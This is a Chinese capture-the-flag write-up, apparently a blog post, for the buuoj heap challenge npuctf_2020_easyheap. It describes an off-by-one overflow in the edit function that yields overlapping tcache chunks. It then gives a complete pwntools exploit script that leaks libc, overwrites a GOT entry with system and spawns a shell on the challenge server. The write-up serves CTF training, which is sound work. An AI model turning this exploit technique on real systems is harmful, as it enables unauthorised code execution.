buuoj刷题记录 - npuctf_2020_easyheap

在这里插入图片描述
题目给了add,show,edit,del函数

问题在edit函数里面,重新编辑的时候可以溢出一个字节

在这里插入图片描述
看一下create函数,只能分配大小为 24,和56的空间
思路:覆盖下一个chunk的chunksize低字节达到修改chunk的大小,free 的时候会放到更大的tcache bin里面,之后malloc的时候会造成chunk重叠.

下面是我的构造方法:
在这里插入图片描述
把利用 0 把1中chunk2的size 改掉,改成0x40, (一会malloc的时候用到,注意只能分配大小为 56 和 24 的空间,(8字节的奇数倍会使用下一个chunk 的prev size 块))

然后free掉1,chunk2和chunk3就会被分别丢到0x40,和0x20的tcache bin里面了.

重新add一个,大小为56,就会得到两个重叠的chunk。
之后就是改指针到got,修改got就可以了

exp:

from pwn import*
#sh = process('./pwn')
sh = remote('node4.buuoj.cn',26063)
def create(size,payload):
    sh.sendlineafter(b'choice :',b'1')
    sh.sendlineafter(b'Size of Heap(0x10 or 0x20 only) : ',str(size).encode())
    sh.sendlineafter(b'Content:',payload)
    sh.recvuntil(b'Done!')

def Edit(idx,payload):
    sh.sendlineafter(b'choice :',b'2')
    sh.sendlineafter(b'Index :',str(idx).encode())
    sh.sendlineafter(b'Content: ',payload)
    sh.recvuntil(b'Done!')

def Show(idx):
    sh.sendlineafter(b'choice :',b'3')
    sh.sendlineafter(b'Index :',str(idx).encode())
    sh.recvuntil(b'\nContent : ')
    data = sh.recvline()[:-1]
    sh.recvuntil(b'Done!')
    return data

def Delete(idx):
    sh.sendlineafter(b'choice :',b'4')
    sh.sendlineafter(b'Index :',str(idx).encode())
    sh.recvuntil(b'Done !')

#24,56
create(24,b'emmm')
create(24,b'emmm')

payload = b'a' * 24 + b'\x41'
Edit(0,payload)
Delete(1)

create(56,b'emmm')

payload = b'a' * 32 + p64(8) + p64(0x0602058)
Edit(1,payload)

libc_base = u64(Show(1).ljust(8,b'\x00')) - 0x40680
system = libc_base + 0x4f440

log.success('libc_base:%x ',libc_base)
log.success('system:%x ',system)

Edit(1,p64(system))
sh.sendlineafter(b'choice :',b'sh\x00')
sh.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Suspend.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值